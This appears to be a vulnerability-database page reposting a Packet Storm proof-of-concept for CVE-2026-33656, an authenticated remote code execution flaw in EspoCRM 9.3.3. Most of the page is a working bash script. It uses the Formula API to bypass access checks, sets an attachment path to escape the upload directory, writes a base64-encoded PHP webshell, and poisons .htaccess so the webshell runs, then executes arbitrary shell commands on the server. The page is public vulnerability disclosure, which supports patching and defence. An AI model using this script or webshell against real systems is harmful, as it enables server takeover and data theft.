Lucene search
K

πŸ“„ EspoCRM 9.3.3 Remote Code Execution / Path Traversal

πŸ—“οΈΒ 25 Mar 2026Β 00:00:00Reported byΒ JivaTypeΒ 
packetstorm
Β packetstorm
πŸ”—Β packetstorm.newsπŸ‘Β 124Β Views

EspoCRM 9.3.3 authenticated RCE via formula ACL bypass, path traversal and .htaccess poisoning.

Related
Code
ReporterTitlePublishedViews
Family
ATTACKERKB
CVE-2026-33656
22 Apr 202620:01
–attackerkb
Circl
CVE-2026-33656
25 Mar 202612:58
–circl
CNNVD
EspoCRM θ·―εΎ„ιεŽ†ζΌζ΄ž
22 Apr 202600:00
–cnnvd
CVE
CVE-2026-33656
22 Apr 202620:01
–cve
Cvelist
CVE-2026-33656 EspoCRM vulnerable to authenticated RCE via Formula with path traversal in attachment `sourceId`, exploitable by admin user
22 Apr 202620:01
–cvelist
EUVD
EUVD-2026-25081
22 Apr 202620:01
–euvd
NVD
CVE-2026-33656
22 Apr 202621:17
–nvd
Packet Storm
πŸ“„ EspoCRM 9.3.3 Remote Code Execution
17 Apr 202600:00
–packetstorm
Positive Technologies
PT-2026-27774
25 Mar 202600:00
–ptsecurity
RedhatCVE
CVE-2026-33656
5 Jun 202619:17
–redhatcve
Rows per page
#!/bin/bash
    # ===========================================================================
    # EspoCRM <= 9.3.3 CVE-2026-33656 β€” Authenticated RCE via Formula ACL Bypass
    # + Attachment sourceId Path Traversal + .htaccess Poisoning
    #
    # Author  : Jiva (jivasecurity.com)
    # Writeup : https://jivasecurity.com/writeups/espocrm-rce-cve-2026-33656
    # Product : EspoCRM <= 9.3.3
    # Auth    : Admin credentials required
    # Impact  : OS command execution
    #
    # Usage:
    #   ./poc.sh <base_url> <username> <password> [command]
    #
    # Example:
    #   ./poc.sh http://192.168.5.16:8090 admin admin id
    # ===========================================================================
    
    BASE="${1:-http://192.168.5.16:8090}"
    USER="${2:-admin}"
    PASS="${3:-admin}"
    CMD="${4:-id}"
    
    AUTH_B64=$(printf '%s:%s' "$USER" "$PASS" | base64 | tr -d '\n')
    AUTH="Espo-Authorization: $AUTH_B64"
    
    # JSON id extractor β€” prefers jq, falls back to grep+cut (no python3 needed)
    extract_id() {
        if command -v jq &>/dev/null; then
            jq -r '.id'
        else
            grep -o '"id":"[^"]*"' | head -1 | cut -d'"' -f4
        fi
    }
    
    die() { echo "[-] FAIL at $1: $2" >&2; exit 1; }
    
    echo "[*] Target : $BASE"
    echo "[*] User   : $USER"
    
    # ── Step 1: Create attachment (Document/file, .txt β€” passes accept list) ──────
    echo ""
    echo "[1/6] Creating webshell attachment..."
    RESP=$(curl -s "$BASE/api/v1/Attachment" \
      -H "$AUTH" -H "Content-Type: application/json" \
      -d '{"name":"test.txt","type":"text/plain","role":"Attachment","relatedType":"Document","field":"file","isBeingUploaded":true,"size":28}')
    SHELL_ID=$(echo "$RESP" | extract_id)
    [[ -n "$SHELL_ID" ]] || die "Step 1" "no id returned β€” response: $RESP"
    echo "    Attachment ID: $SHELL_ID"
    
    # ── Step 2: Formula sets sourceId β†’ ../../client/x (path traversal) ──────────
    echo "[2/6] Setting sourceId via formula (ACL bypass)..."
    RESP=$(curl -s -X POST "$BASE/api/v1/Formula/action/run" \
      -H "$AUTH" -H "Content-Type: application/json" \
      -d "{\"expression\":\"record\\\\update(\\\"Attachment\\\",\\\"$SHELL_ID\\\",\\\"sourceId\\\",\\\"../../client/x\\\")\",\"targetType\":null,\"targetId\":null}")
    echo "$RESP" | grep -q '"isSuccess":true' || die "Step 2" "formula failed β€” $RESP"
    echo "    sourceId β†’ ../../client/x"
    
    # ── Step 3: Chunk upload writes PHP webshell to client/x ─────────────────────
    echo "[3/6] Writing PHP webshell to client/x..."
    # Payload: <?php system($_GET["c"]); ?>
    RESP=$(curl -s -X POST "$BASE/api/v1/Attachment/chunk/$SHELL_ID" \
      -H "$AUTH" -H "Content-Type: application/octet-stream" \
      --data-raw "data:application/octet-stream;base64,PD9waHAgc3lzdGVtKCRfR0VUWyJjIl0pOyA/Pg==")
    echo "    Response: $RESP"
    
    # ── Step 4: Create second attachment for .htaccess modification ───────────────
    echo "[4/6] Creating .htaccess attachment..."
    RESP=$(curl -s "$BASE/api/v1/Attachment" \
      -H "$AUTH" -H "Content-Type: application/json" \
      -d '{"name":"ht.txt","type":"text/plain","role":"Attachment","relatedType":"Document","field":"file","isBeingUploaded":true,"size":999999}')
    HT_ID=$(echo "$RESP" | extract_id)
    [[ -n "$HT_ID" ]] || die "Step 4" "no id returned β€” response: $RESP"
    echo "    Attachment ID: $HT_ID"
    
    # ── Step 5: Formula sets sourceId β†’ ../../.htaccess ──────────────────────────
    echo "[5/6] Redirecting to .htaccess via formula..."
    RESP=$(curl -s -X POST "$BASE/api/v1/Formula/action/run" \
      -H "$AUTH" -H "Content-Type: application/json" \
      -d "{\"expression\":\"record\\\\update(\\\"Attachment\\\",\\\"$HT_ID\\\",\\\"sourceId\\\",\\\"../../.htaccess\\\")\",\"targetType\":null,\"targetId\":null}")
    echo "$RESP" | grep -q '"isSuccess":true' || die "Step 5" "formula failed β€” $RESP"
    echo "    sourceId β†’ ../../.htaccess"
    
    # ── Step 6: Chunk upload appends PHP handler directive to .htaccess ───────────
    echo "[6/6] Appending PHP handler directive to .htaccess..."
    # Payload:
    #   <FilesMatch "^x$">
    #   SetHandler application/x-httpd-php
    #   </FilesMatch>
    RESP=$(curl -s -X POST "$BASE/api/v1/Attachment/chunk/$HT_ID" \
      -H "$AUTH" -H "Content-Type: application/octet-stream" \
      --data-raw "data:text/plain;base64,CjxGaWxlc01hdGNoICJeeCQiPgpTZXRIYW5kbGVyIGFwcGxpY2F0aW9uL3gtaHR0cGQtcGhwCjwvRmlsZXNNYXRjaD4=")
    echo "    Response: $RESP"
    
    # ── Execute ───────────────────────────────────────────────────────────────────
    echo ""
    echo "[*] Executing: $CMD"
    echo "    Webshell: $BASE/client/x?c=<cmd>"
    echo ""
    
    RESULT=$(curl -s "$BASE/client/x?c=$CMD")
    echo "$RESULT"
    echo ""
    
    if echo "$RESULT" | grep -qE "uid=[0-9]+"; then
        echo "[+] RCE CONFIRMED"
    else
        echo "[-] Webshell did not return expected output β€” check manually:"
        echo "    curl -v '$BASE/client/x?c=id'"
    fi

Data

Build on a solid foundation withΒ Vulners data

WeΒ provide theΒ essential building blocks forΒ cybersecurity solutions withΒ comprehensive, structured, andΒ constantly updated vulnerability andΒ exploits data

Api

Power your application withΒ Vulners API

The Vulners REST API offers reliable, high-performance access toΒ vulnerabilityΒ intelligence, withΒ 99.9%Β SLAΒ uptime andΒ CDN-backed data delivery forΒ seamlessΒ global access

App

Assess and manage vulnerabilities withΒ VulnersΒ tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation